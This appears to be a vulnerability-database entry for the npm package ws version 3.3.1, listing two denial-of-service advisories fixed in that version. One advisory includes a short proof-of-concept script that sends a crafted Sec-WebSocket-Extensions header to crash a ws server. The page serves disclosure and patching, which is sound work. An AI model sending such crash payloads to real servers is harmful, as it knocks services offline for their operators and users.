Lookup for vulnerable packages by Package URL.
| Purl | pkg:npm/ws@3.3.1 |
| Type | npm |
| Namespace | |
| Name | ws |
| Version | 3.3.1 |
| Qualifiers |
|
| Subpath | |
| Is_vulnerable | false |
| Next_non_vulnerable_version | 5.2.3 |
| Latest_non_vulnerable_version | 8.20.1 |
| Affected_by_vulnerabilities |
|
| Fixing_vulnerabilities |
| 0 |
| url |
VCID-4851-mkc2-pqdw |
| vulnerability_id |
VCID-4851-mkc2-pqdw |
| summary |
Denial of Service
A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash. |
| references |
|
| fixed_packages |
|
| aliases |
GMS-2017-331
|
| risk_score |
null |
| exploitability |
0.5 |
| weighted_severity |
0.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-4851-mkc2-pqdw |
|
| 1 |
| url |
VCID-4u5m-kp7t-x3cf |
| vulnerability_id |
VCID-4u5m-kp7t-x3cf |
| summary |
Denial of Service in ws
Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.
## Proof of concept
```
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r'
].join('\r');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
```
## Recommendation
Update to version 3.3.1 or later. |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-5v72-xg48-5rpm, GMS-2019-145
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-4u5m-kp7t-x3cf |
|
|
| Risk_score | null |
| Resource_url | http://public2.vulnerablecode.io/packages/pkg:npm/ws@3.3.1 |